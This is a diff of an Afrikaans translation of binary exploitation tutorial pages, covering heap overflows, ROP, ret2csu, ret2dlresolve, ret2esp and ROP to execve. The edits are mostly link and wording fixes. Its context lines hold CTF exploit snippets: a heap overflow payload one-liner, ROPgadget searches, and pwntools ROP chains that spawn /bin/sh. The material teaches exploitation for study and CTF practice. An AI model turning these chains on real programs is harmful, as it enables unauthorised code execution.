-- Gebruik 'n **arbitraire lees** kwesbaarheid soos [**formaatstring**](../../format-strings/) om 'n adres van die binêre te lek (bv. vanaf die stapel, soos in die vorige tegniek) om die basis van die binêre te kry en afstande van daar af te gebruik. [**Vind 'n voorbeeld hier**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
+- Gebruik 'n **arbitraire lees** kwesbaarheid soos [**formaatstring**](../../format-strings/index.html) om 'n adres van die binêre te lek (bv. vanaf die stack, soos in die vorige tegniek) om die basis van die binêre te kry en afstande van daar af te gebruik. [**Vind 'n voorbeeld hier**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
## Verwysings
diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md
index 1781694ee..410626b2e 100644
--- a/src/binary-exploitation/libc-heap/heap-overflow.md
+++ b/src/binary-exploitation/libc-heap/heap-overflow.md
@@ -4,22 +4,22 @@
## Basiese Inligting
-'n Heap overflow is soos 'n [**stack overflow**](../stack-overflow/) maar in die heap. Basies beteken dit dat 'n sekere ruimte in die heap gereserveer is om data te stoor en **gestoorde data was groter as die gereserveerde ruimte.**
+'n Heap overflow is soos 'n [**stack overflow**](../stack-overflow/index.html) maar in die heap. Basies beteken dit dat 'n sekere ruimte in die heap gereserveer is om data te stoor en **gestoorde data was groter as die gereserveerde ruimte.**
In stack overflows weet ons dat sommige registers soos die instruksie-aanwyser of die stack-raam gaan herstel word vanaf die stack en dit kan moontlik misbruik word. In die geval van heap overflows, daar **is geen sensitiewe inligting wat standaard in die heap chunk gestoor word** wat oorgeloop kan word nie. Dit kan egter sensitiewe inligting of aanwysers wees, so die **kritikaliteit** van hierdie kwesbaarheid **hang af** van **watter data oorgeskryf kan word** en hoe 'n aanvaller dit kan misbruik.
> [!TIP]
-> Om overflow offsets te vind, kan jy dieselfde patrone gebruik as in [**stack overflows**](../stack-overflow/index.html#finding-stack-overflows-offsets).
+> Om overflow offsets te vind, kan jy dieselfde patrone gebruik soos in [**stack overflows**](../stack-overflow/index.html#finding-stack-overflows-offsets).
### Stack Overflows vs Heap Overflows
In stack overflows is die rangskikking en data wat teenwoordig gaan wees in die stack op die oomblik dat die kwesbaarheid geaktiveer kan word, redelik betroubaar. Dit is omdat die stack lineêr is, altyd toeneem in botsende geheue, in **spesifieke plekke van die program se uitvoering stoor die stack geheue gewoonlik soortgelyke tipe data** en dit het 'n spesifieke struktuur met sommige aanwysers aan die einde van die stack-gedeelte wat deur elke funksie gebruik word.
-In die geval van 'n heap overflow, is die gebruikte geheue egter nie lineêr nie, maar **toegewyde chunks is gewoonlik in geskeide posisies van geheue** (nie een langs die ander nie) as gevolg van **bins en sone** wat toewysings volgens grootte skei en omdat **vorige vrygemaakte geheue gebruik word** voordat nuwe chunks toegewy word. Dit is **gekompliseerd om die objek te weet wat gaan bots met die een wat kwesbaar is** vir 'n heap overflow. So, wanneer 'n heap overflow gevind word, is dit nodig om 'n **betroubare manier te vind om die gewenste objek volgende in geheue te maak** van die een wat oorgeloop kan word.
+In die geval van 'n heap overflow, is die gebruikte geheue egter nie lineêr nie, maar **toegewyde chunks is gewoonlik in geskeide posisies van geheue** (nie een langs die ander nie) as gevolg van **bins en sones** wat toewysings volgens grootte skei en omdat **vorige vrygemaakte geheue gebruik word** voordat nuwe chunks toegewy word. Dit is **gekompliseerd om die objek te weet wat gaan bots met die een wat kwesbaar is** vir 'n heap overflow. So, wanneer 'n heap overflow gevind word, is dit nodig om 'n **betroubare manier te vind om die gewenste objek volgende in geheue te maak** van die een wat oorgeloop kan word.
-Een van die tegnieke wat hiervoor gebruik word, is **Heap Grooming** wat byvoorbeeld [**in hierdie pos**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) gebruik word. In die pos word verduidelik hoe wanneer in die iOS-kern wanneer 'n sone uit geheue vir die stoor van chunks van geheue loop, dit dit uitbrei met 'n kernbladsy, en hierdie bladsy word in chunks van die verwagte groottes gesplit, wat in volgorde gebruik sal word (tot iOS weergawe 9.2, dan word hierdie chunks op 'n randomiseerde manier gebruik om die uitbuiting van hierdie aanvalle te bemoeilik).
+Een van die tegnieke wat hiervoor gebruik word, is **Heap Grooming** wat byvoorbeeld gebruik word [**in hierdie pos**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In die pos word verduidelik hoe wanneer in die iOS-kern wanneer 'n sone sonder geheue raak om chunks van geheue te stoor, dit dit uitbrei met 'n kernblad, en hierdie blad word in chunks van die verwagte groottes gesplit, wat in volgorde gebruik sal word (tot iOS weergawe 9.2, dan word hierdie chunks op 'n gerandomiseerde manier gebruik om die uitbuiting van hierdie aanvalle te bemoeilik).
-Daarom, in die vorige pos waar 'n heap overflow plaasvind, om die oorgeloopde objek te dwing om met 'n slagoffer se volgorde te bots, word verskeie **`kallocs` deur verskeie drade gedwing om te probeer verseker dat al die vrye chunks gevul is en dat 'n nuwe bladsy geskep word**.
+Daarom, in die vorige pos waar 'n heap overflow plaasvind, om die oorgeloopde objek te dwing om met 'n slagoffer volgorde te bots, word verskeie **`kallocs` deur verskeie drade gedwing om te probeer verseker dat al die vrye chunks gevul is en dat 'n nuwe blad geskep word**.
Om hierdie vul met objek van 'n spesifieke grootte te dwing, is die **out-of-line toewysing geassosieer met 'n iOS mach port** 'n ideale kandidaat. Deur die grootte van die boodskap te vervaardig, is dit moontlik om die grootte van die `kalloc` toewysing presies te spesifiseer en wanneer die ooreenstemmende mach port vernietig word, sal die ooreenstemmende toewysing onmiddellik teruggegee word aan `kfree`.
@@ -27,15 +27,15 @@ Dan kan sommige van hierdie plekhouers **vrygestel** word. Die **`kalloc.4096` v
### Voorbeeld libc
-[**Op hierdie bladsy**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) is dit moontlik om 'n basiese Heap overflow emulering te vind wat wys hoe om die prev in gebruik bit van die volgende chunk te oorskryf en die posisie van die prev grootte, dit is moontlik om 'n **gebruikte chunk te konsolideer** (deur dit te laat dink dit is ongebruikte) en **dan dit weer toe te wys** terwyl dit in staat is om data wat in 'n ander aanwyser gebruik word, ook te oorskryf.
+[**In hierdie bladsy**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) is dit moontlik om 'n basiese Heap overflow emulering te vind wat wys hoe om die prev in gebruik bit van die volgende chunk en die posisie van die prev grootte te oorskry, is dit moontlik om 'n **gebruikte chunk te konsolideer** (deur dit te laat dink dit is ongebruikte) en **dan dit weer toe te wys** terwyl dit in staat is om data wat in 'n ander aanwyser gebruik word, ook te oorskry.
'n Ander voorbeeld van [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) wys 'n baie basiese voorbeeld van 'n CTF waar 'n **heap overflow** misbruik kan word om die wenner funksie aan te roep om **die vlag te kry**.
-In die [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) voorbeeld is dit moontlik om te sien hoe om 'n buffer overflow te misbruik, dit is moontlik om **in 'n naby chunk 'n adres te oorskryf** waar **arbitraire data van die gebruiker** geskryf gaan word.
+In die [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) voorbeeld is dit moontlik om te sien hoe om 'n buffer overflow te misbruik, is dit moontlik om **in 'n naburige chunk 'n adres te oorskry** waar **arbitraire data van die gebruiker** geskryf gaan word.
### Voorbeeld ARM64
-Op die bladsy [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) kan jy 'n heap overflow voorbeeld vind waar 'n opdrag wat uitgevoer gaan word, in die volgende chunk van die oorgeloopde chunk gestoor word. So, dit is moontlik om die uitgevoerde opdrag te verander deur dit te oorskryf met 'n maklike uitbuiting soos:
+In die bladsy [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) kan jy 'n heap overflow voorbeeld vind waar 'n opdrag wat uitgevoer gaan word, in die volgende chunk van die oorgeloopde chunk gestoor word. So, dit is moontlik om die uitgevoerde opdrag te verander deur dit te oorskry met 'n maklike uitbuiting soos:
```bash
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
```
diff --git a/src/binary-exploitation/rop-return-oriented-programing/README.md b/src/binary-exploitation/rop-return-oriented-programing/README.md
index 9890353bc..06279a72d 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/README.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/README.md
@@ -20,25 +20,25 @@ Tipies kan gadgets gevind word met behulp van [**ROPgadget**](https://github.com
### **x86 (32-bit) Aanroep konvensies**
-- **cdecl**: Die oproeper maak die stapel skoon. Funksie argumente word in omgekeerde volgorde (regs na links) op die stapel geplaas. **Argumente word van regs na links op die stapel geplaas.**
-- **stdcall**: Soortgelyk aan cdecl, maar die aangeroepde is verantwoordelik vir die skoonmaak van die stapel.
+- **cdecl**: Die oproeper maak die stapel skoon. Funksie argumente word in omgekeerde volgorde (regs na links) op die stapel gepush. **Argumente word van regs na links op die stapel gepush.**
+- **stdcall**: Soortgelyk aan cdecl, maar die callee is verantwoordelik vir die skoonmaak van die stapel.
### **Gadgets Vind**
Eerstens, kom ons neem aan ons het die nodige gadgets binne die binêre of sy gelaaide biblioteke geïdentifiseer. Die gadgets waarin ons belangstel, is:
-- `pop eax; ret`: Hierdie gadget pop die boonste waarde van die stapel in die `EAX` register en keer dan terug, wat ons in staat stel om `EAX` te beheer.
+- `pop eax; ret`: Hierdie gadget pop die boonste waarde van die stapel in die `EAX` register en keer dan terug, wat ons toelaat om `EAX` te beheer.
- `pop ebx; ret`: Soortgelyk aan die bogenoemde, maar vir die `EBX` register, wat beheer oor `EBX` moontlik maak.
-- `mov [ebx], eax; ret`: Beweeg die waarde in `EAX` na die geheue ligging aangedui deur `EBX` en keer dan terug. Dit word dikwels 'n **write-what-where gadget** genoem.
+- `mov [ebx], eax; ret`: Beweeg die waarde in `EAX` na die geheue ligging wat deur `EBX` aangedui word en keer dan terug. Dit word dikwels 'n **write-what-where gadget** genoem.
- Daarbenewens het ons die adres van die `system()` funksie beskikbaar.
### **ROP Ketting**
-Met behulp van **pwntools**, berei ons die stapel voor vir die ROP ketting uitvoering soos volg, met die doel om `system('/bin/sh')` uit te voer, let op hoe die ketting begin met:
+Met behulp van **pwntools**, berei ons die stapel voor vir die ROP ketting uitvoering soos volg met die doel om `system('/bin/sh')` uit te voer, let op hoe die ketting begin met:
1. 'n `ret` instruksie vir uitlijning doeleindes (opsioneel)
-2. Adres van die `system` funksie (veronderstel ASLR gedeaktiveer en bekende libc, meer inligting in [**Ret2lib**](ret2lib/))
-3. Plekhouer vir die terugadres van `system()`
+2. Adres van die `system` funksie (veronderstel ASLR gedeaktiveer en bekende libc, meer inligting in [**Ret2lib**](ret2lib/index.html))
+3. Plaasvervanger vir die terugadres van `system()`
4. `"/bin/sh"` string adres (parameter vir die system funksie)
```python
from pwn import *
@@ -83,7 +83,7 @@ p.interactive()
#### **Vind Gadgets**
-Vir ons doel, kom ons fokus op gadgets wat ons sal toelaat om die **RDI** register in te stel (om die **"/bin/sh"** string as 'n argument aan **system()** oor te dra) en dan die **system()** funksie aan te roep. Ons neem aan ons het die volgende gadgets geïdentifiseer:
+Vir ons doel, laat ons fokus op gadgets wat ons sal toelaat om die **RDI** register in te stel (om die **"/bin/sh"** string as 'n argument aan **system()** oor te dra) en dan die **system()** funksie aan te roep. Ons neem aan ons het die volgende gadgets geïdentifiseer:
- **pop rdi; ret**: Popp die boonste waarde van die stapel in **RDI** en keer dan terug. Essensieel om ons argument vir **system()** in te stel.
- **ret**: 'n Eenvoudige terugkeer, nuttig vir stapel-alignment in sommige scenario's.
@@ -135,7 +135,7 @@ In hierdie voorbeeld:
### Stapeluitlijning
-**Die x86-64 ABI** verseker dat die **stapel 16-byte uitgelijnd** is wanneer 'n **call-instruksie** uitgevoer word. **LIBC**, om prestasie te optimaliseer, **gebruik SSE-instruksies** (soos **movaps**) wat hierdie uitlijning vereis. As die stapel nie behoorlik uitgelijnd is (wat beteken **RSP** nie 'n veelvoud van 16 is nie), sal oproepe na funksies soos **system** misluk in 'n **ROP-ketting**. Om dit reg te stel, voeg eenvoudig 'n **ret gadget** by voordat jy **system** in jou ROP-ketting aanroep.
+**Die x86-64 ABI** verseker dat die **stapel 16-byte uitgelijnd** is wanneer 'n **call-instruksie** uitgevoer word. **LIBC**, om prestasie te optimaliseer, **gebruik SSE-instruksies** (soos **movaps**) wat hierdie uitlijning vereis. As die stapel nie behoorlik uitgelijnd is (wat beteken **RSP** is nie 'n veelvoud van 16 nie), sal oproepe na funksies soos **system** misluk in 'n **ROP-ketting**. Om dit reg te stel, voeg eenvoudig 'n **ret gadget** by voordat jy **system** in jou ROP-ketting aanroep.
## x86 vs x64 hoof verskil
@@ -154,8 +154,8 @@ Kyk na die volgende bladsy vir hierdie inligting:
## Beskerming teen ROP
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Hierdie beskermings maak dit moeiliker om ROP te gebruik aangesien die adresse van die gadgets tussen uitvoering verander.
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): In die geval van 'n BOF, is dit nodig om die stoor stapelkanarie te omseil om terugwysers te oorskry om 'n ROP-ketting te misbruik.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Hierdie beskermings maak dit moeiliker om ROP te gebruik aangesien die adresse van die gadgets tussen uitvoering verander.
+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html): In die geval van 'n BOF, is dit nodig om die stoor stapelkanarie te omseil om terugwysers te oorskry om 'n ROP-ketting te misbruik.
- **Gebrek aan Gadgets**: As daar nie genoeg gadgets is nie, sal dit nie moontlik wees om 'n ROP-ketting te genereer nie.
## ROP-gebaseerde tegnieke
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md
index b61a9c002..98fc33f67 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md
@@ -28,7 +28,7 @@ Hierdie toestel laat ons toe om hierdie registers te beheer deur waardes van die
2. Die tweede reeks gebruik die waardes wat ons opgestel het om 'n paar dinge te doen:
- **Beweeg spesifieke waardes in ander registers**, wat hulle gereed maak vir ons om as parameters in funksies te gebruik.
-- **Voer 'n oproep uit na 'n ligging** wat bepaal word deur die waardes in r15 en rbx bymekaar te tel, en dan rbx met 8 te vermenigvuldig.
+- **Voer 'n oproep na 'n ligging** uit wat bepaal word deur die waardes in r15 en rbx bymekaar te tel, en dan rbx met 8 te vermenigvuldig.
```armasm
mov rdx, r15;
mov rsi, r14;
@@ -50,7 +50,7 @@ ret
Die voorwaardes sal wees:
- `[r12 + rbx*8]` moet na 'n adres wys wat 'n aanroepbare funksie stoor (as daar geen idee en geen pie is nie, kan jy net die `_init` funksie gebruik):
-- As \_init by `0x400560` is, gebruik GEF om 'n wysser in geheue daarna te soek en maak `[r12 + rbx*8]` die adres met die wysser na \_init:
+- As \_init by `0x400560` is, gebruik GEF om 'n wys na 'n pointer in geheue daarna te soek en maak `[r12 + rbx*8]` die adres met die pointer na \_init:
```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
@@ -84,7 +84,7 @@ Stel jou voor jy wil 'n syscall maak of 'n funksie soos `write()` aanroep, maar
Hier kom **ret2csu** in die spel:
1. **Stel die Registers Op**: Gebruik die eerste magiese gadget om waardes van die stapel af te pop en in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), en r15 te plaas.
-2. **Gebruik die Tweede Gadget**: Met daardie registers ingestel, gebruik jy die tweede gadget. Dit laat jou toe om jou gekose waardes in `rdx` en `rsi` (van r14 en r13, onderskeidelik) te beweeg, wat parameters vir 'n funksie-aanroep voorberei. Boonop, deur `r15` en `rbx` te beheer, kan jy die program dwing om 'n funksie aan te roep wat geleë is by die adres wat jy bereken en in `[r15 + rbx*8]` plaas.
+2. **Gebruik die Tweede Gadget**: Met daardie registers ingestel, gebruik jy die tweede gadget. Dit laat jou toe om jou gekose waardes in `rdx` en `rsi` (van r14 en r13, onderskeidelik) te beweeg, wat die parameters vir 'n funksie-aanroep voorberei. Boonop, deur `r15` en `rbx` te beheer, kan jy die program dwing om 'n funksie aan te roep wat geleë is by die adres wat jy bereken en in `[r15 + rbx*8]` plaas.
Jy het 'n [**voorbeeld wat hierdie tegniek gebruik en dit hier verduidelik**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), en dit is die finale uitbuiting wat dit gebruik het:
```python
@@ -165,8 +165,8 @@ payload += ret2win
target.sendline(payload)
target.interactive()
```
-### Hoekom Nie Net libc Direk Gebruik Nie?
+### Hoekom Nie Net Libc Direk Gebruik Nie?
-Gewoonlik is hierdie gevalle ook kwesbaar vir [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), maar soms moet jy meer parameters beheer as wat maklik beheer kan word met die gadgets wat jy direk in libc vind. Byvoorbeeld, die `write()` funksie vereis drie parameters, en **om gadgets te vind om al hierdie direk in te stel mag dalk nie moontlik wees nie**.
+Gewoonlik is hierdie gevalle ook kwesbaar vir [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), maar soms moet jy meer parameters beheer as wat maklik beheer kan word met die gadgets wat jy direk in libc vind. Byvoorbeeld, die `write()` funksie vereis drie parameters, en **om gadgets te vind om al hierdie direk in te stel mag nie moontlik wees nie**.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
index cdf55c14c..4441d0d0d 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
@@ -2,18 +2,18 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basiese Inligting
+## Basic Information
-Soos verduidelik op die bladsy oor [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) en [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries sonder Volle Relro sal simbole (soos adresse na eksterne biblioteke) die eerste keer wat hulle gebruik word, oplos. Hierdie oplosproses gebeur deur die funksie **`_dl_runtime_resolve`** aan te roep.
+Soos verduidelik op die bladsy oor [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) en [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries sonder Full Relro sal simbole (soos adresse na eksterne biblioteke) die eerste keer wat hulle gebruik word, oplos. Hierdie oplosproses gebeur deur die funksie **`_dl_runtime_resolve`** aan te roep.
-Die **`_dl_runtime_resolve`** funksie neem vanaf die stapel verwysings na 'n paar strukture wat dit benodig om die gespesifiseerde simbool te **resolveer**.
+Die **`_dl_runtime_resolve`** funksie neem vanaf die stap verwysings na 'n paar strukture wat dit nodig het om die gespesifiseerde simbool te **resolveer**.
Daarom is dit moontlik om **al hierdie strukture te vervals** om die dinamies gekoppelde simbool (soos die **`system`** funksie) te laat oplos en dit met 'n geconfigureerde parameter aan te roep (bv. **`system('/bin/sh')`**).
-Gewoonlik word al hierdie strukture vervals deur 'n **begin ROP-ketting wat `read` oor 'n skryfbare geheue aanroep** te maak, dan word die **strukture** en die string **`'/bin/sh'`** oorgedra sodat dit deur `read` in 'n bekende ligging gestoor word, en dan gaan die ROP-ketting voort deur **`_dl_runtime_resolve`** aan te roep, wat die **adres van `system`** in die vervalste strukture oplos en **hierdie adres** aanroep met die adres na `$'/bin/sh'`.
+Gewoonlik word al hierdie strukture vervals deur 'n **begin ROP-ketting wat `read` aanroep** oor 'n skryfbare geheue, dan word die **strukture** en die string **`'/bin/sh'`** oorgedra sodat dit deur `read` in 'n bekende ligging gestoor word, en dan gaan die ROP-ketting voort deur **`_dl_runtime_resolve`** aan te roep, wat die **adres van `system`** in die vervalste strukture oplos en **hierdie adres** aanroep met die adres na `$'/bin/sh'`.
> [!TIP]
-> Hierdie tegniek is veral nuttig as daar nie syscall gadgets is (om tegnieke soos [**ret2syscall**](rop-syscall-execv/) of [SROP](srop-sigreturn-oriented-programming/)) te gebruik nie en daar nie maniere is om libc adresse te lek nie.
+> Hierdie tegniek is veral nuttig as daar nie syscall gadgets is (om tegnieke soos [**ret2syscall**](rop-syscall-execv/index.html) of [SROP](srop-sigreturn-oriented-programming/index.html) te gebruik nie) en daar nie maniere is om libc adresse te lek nie.
Kyk na hierdie video vir 'n goeie verduideliking oor hierdie tegniek in die tweede helfte van die video:
@@ -26,15 +26,15 @@ Of kyk na hierdie bladsye vir 'n stap-vir-stap verduideliking:
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
-## Aanval Samevatting
+## Attack Summary
1. Skryf vervalste strukture in 'n plek
2. Stel die eerste argument van system (`$rdi = &'/bin/sh'`)
-3. Stel die adresse na die strukture op die stapel om **`_dl_runtime_resolve`** aan te roep
+3. Stel die adresse na die strukture op die stap om **`_dl_runtime_resolve`** aan te roep
4. **Roep** `_dl_runtime_resolve` aan
-5. **`system`** sal opgelos word en met `'/bin/sh'` as argument aangeroep word
+5. **`system`** sal opgelos en met `'/bin/sh'` as argument aangeroep word
-Van die [**pwntools dokumentasie**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), so lyk 'n **`ret2dlresolve`** aanval:
+Van die [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), so lyk 'n **`ret2dlresolve`** aanval:
```python
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
index a91625766..1d103fdc6 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
@@ -6,7 +6,7 @@
**Omdat die ESP (Stack Pointer) altyd na die bokant van die stapel wys**, behels hierdie tegniek die vervanging van die EIP (Instruction Pointer) met die adres van 'n **`jmp esp`** of **`call esp`** instruksie. Deur dit te doen, word die shellcode reg na die oorgeskryfde EIP geplaas. Wanneer die `ret` instruksie uitgevoer word, wys ESP na die volgende adres, presies waar die shellcode gestoor is.
-As **Address Space Layout Randomization (ASLR)** nie geaktiveer is in Windows of Linux nie, is dit moontlik om `jmp esp` of `call esp` instruksies in gedeelde biblioteke te gebruik. egter, met [**ASLR**](../common-binary-protections-and-bypasses/aslr/) aktief, mag 'n mens binne die kwesbare program self moet kyk vir hierdie instruksies (en jy mag [**PIE**](../common-binary-protections-and-bypasses/pie/) moet oorwin).
+As **Address Space Layout Randomization (ASLR)** nie geaktiveer is in Windows of Linux nie, is dit moontlik om `jmp esp` of `call esp` instruksies in gedeelde biblioteke te gebruik. egter, met [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) aktief, mag 'n mens binne die kwesbare program self moet kyk vir hierdie instruksies (en jy mag nodig hê om [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) te oorwin).
Boonop, om die shellcode **na die EIP-korrupsie** te plaas, eerder as in die middel van die stapel, verseker dat enige `push` of `pop` instruksies wat tydens die funksie se werking uitgevoer word, nie met die shellcode inmeng nie. Hierdie inmenging kan gebeur as die shellcode in die middel van die funksie se stapel geplaas word.
@@ -41,7 +41,7 @@ pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
```
-U kan 'n ander voorbeeld van hierdie tegniek sien in [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). Daar is 'n buffer overflow sonder NX geaktiveer, dit word 'n gadget gebruik om die adres van `$esp` te **verlaag** en dan 'n `jmp esp;` om na die shellcode te spring:
+Jy kan 'n ander voorbeeld van hierdie tegniek sien in [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). Daar is 'n buffer overflow sonder NX geaktiveer, dit word 'n gadget gebruik om die adres van `$esp` te **verlaag** en dan 'n `jmp esp;` om na die shellcode te spring:
```python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
@@ -98,7 +98,7 @@ for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
```
-Die enigste wat ek ontdek het, sou die waarde van die register verander waar sp gekopieer is voordat daarheen gejump word (sodat dit nutteloos sou word):
+Die enigste wat ek ontdek het, sou die waarde van die register verander waar sp gekopieer is voordat daarheen gejump word (so dit sou nutteloos word):
@@ -159,13 +159,13 @@ p.sendline(payload)
p.interactive()
```
> [!WARNING]
-> As daar in plaas van `fgets` iets soos **`read`** gebruik was, sou dit moontlik gewees het om PIE te omseil deur **slegs die laaste 2 bytes van die terugkeeradres te oorskryf** om na die `br x0;` instruksie terug te keer sonder om die volledige adres te ken.\
+> As daar in plaas van `fgets` iets soos **`read`** gebruik was, sou dit moontlik gewees het om PIE te omseil deur **slegs die laaste 2 bytes van die terugkeeradres te oorskryf** om na die `br x0;` instruksie terug te keer sonder om die volledige adres te hoef te ken.\
> Met `fgets` werk dit nie omdat dit **'n null (0x00) byte aan die einde byvoeg**.
## Beskermings
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): As die stapel nie uitvoerbaar is nie, sal dit nie help nie, aangesien ons die shellcode in die stapel moet plaas en spring om dit uit te voer.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Dit kan dit moeiliker maak om 'n instruksie te vind om na esp of enige ander register te spring.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Dit kan dit moeiliker maak om 'n instruksie te vind om na esp of enige ander register te spring.
## Verwysings
diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
index 426d014c0..d013aaa26 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
@@ -13,14 +13,14 @@ Om die oproep vir die **syscall** voor te berei, is die volgende konfigurasie no
- `rsi: 0 spesifiseer geen argumente wat deurgegee word nie`
- `rdx: 0 spesifiseer geen omgewing veranderlikes wat deurgegee word nie`
-So, basies is dit nodig om die string `/bin/sh` iewers te skryf en dan die `syscall` uit te voer (met kennis van die padding wat nodig is om die stapel te beheer). Hiervoor het ons 'n gadget nodig om `/bin/sh` in 'n bekende area te skryf.
+So, basies is dit nodig om die string `/bin/sh` iewers te skryf en dan die `syscall` uit te voer (met inagneming van die padding wat nodig is om die stapel te beheer). Hiervoor het ons 'n gadget nodig om `/bin/sh` in 'n bekende area te skryf.
> [!TIP]
-> 'n Ander interessante syscall om aan te roep is **`mprotect`** wat 'n aanvaller sou toelaat om **die toestemmings van 'n bladsy in geheue te wysig**. Dit kan gekombineer word met [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
+> 'n Ander interessante syscall om aan te roep is **`mprotect`** wat 'n aanvaller sou toelaat om **die toestemmings van 'n bladsy in geheue te wysig**. Dit kan gekombineer word met [**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html).
## Register gadgets
-Kom ons begin met die vind van **hoe om daardie registers te beheer**:
+Kom ons begin deur **hoe om daardie registers te beheer** te vind:
```bash
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
@@ -45,7 +45,7 @@ Start End Offset Perm Path
```
### Skryf String in geheue
-Dan moet jy 'n manier vind om arbitrêre inhoud in hierdie adres te skryf.
+Dan moet jy 'n manier vind om arbitrêre inhoud in hierdie adres te skryf
```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
@@ -172,10 +172,10 @@ target.interactive()
## Ander Voorbeelde & Verwysings
- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
-- 64 bits, geen PIE, nx, skryf in 'n bietjie geheue 'n ROP om `execve` aan te roep en daarheen te spring.
+- 64 bits, geen PIE, nx, skryf in 'n sekere geheue 'n ROP om `execve` aan te roep en daarheen te spring.
- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
